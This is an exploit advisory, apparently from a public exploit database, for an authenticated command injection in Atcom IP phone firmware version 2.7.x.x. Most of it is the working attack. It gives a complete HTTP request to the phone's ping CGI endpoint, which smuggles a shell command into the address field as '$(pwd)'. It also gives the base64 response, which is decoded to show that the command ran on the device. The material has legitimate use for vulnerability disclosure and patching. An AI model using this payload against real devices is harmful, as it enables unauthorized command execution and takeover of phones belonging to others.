Atcom 2.7.x.x - Authenticated Command Injection

# Exploit Title: Atcom 2.7.x.x - Authenticated Command Injection
# Google Dork: N/A
# Date: 07/09/2023
# Exploit Author: Mohammed Adel
# Vendor Homepage: https://www.atcom.cn/
# Software Link:
https://www.atcom.cn/html/yingwenban/Product/Fast_IP_phone/2017/1023/135.html
# Version: All versions above 2.7.x.x
# Tested on: Kali Linux


Exploit Request:

POST /cgi-bin/web_cgi_main.cgi?user_get_phone_ping HTTP/1.1
Host: {TARGET_IP}
User-Agent: polar
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Authorization: Digest username="admin", realm="IP Phone Web
Configuration", nonce="value_here",
uri="/cgi-bin/web_cgi_main.cgi?user_get_phone_ping",
response="value_here", qop=auth, nc=value_here, cnonce="value_here"

cmd=0.0.0.0$(pwd)&ipv4_ipv6=0&user_get_phone_ping


Response:

{"ping_cmd_result":"cGluZzogYmFkIGFkZHJlc3MgJzAuMC4wLjAvdXNyL2xvY2FsL2FwcC9saWdodHRwZC93d3cvY2dpLWJpbicK","ping_cmd":"0.0.0.0$(pwd)"}

The value of "ping_cmd_result" is encoded as base64. Decoding the
value of "ping_cmd_result" reveals the result of the command executed
as shown below:

ping: bad address '0.0.0.0/usr/local/app/lighttpd/www/cgi-bin'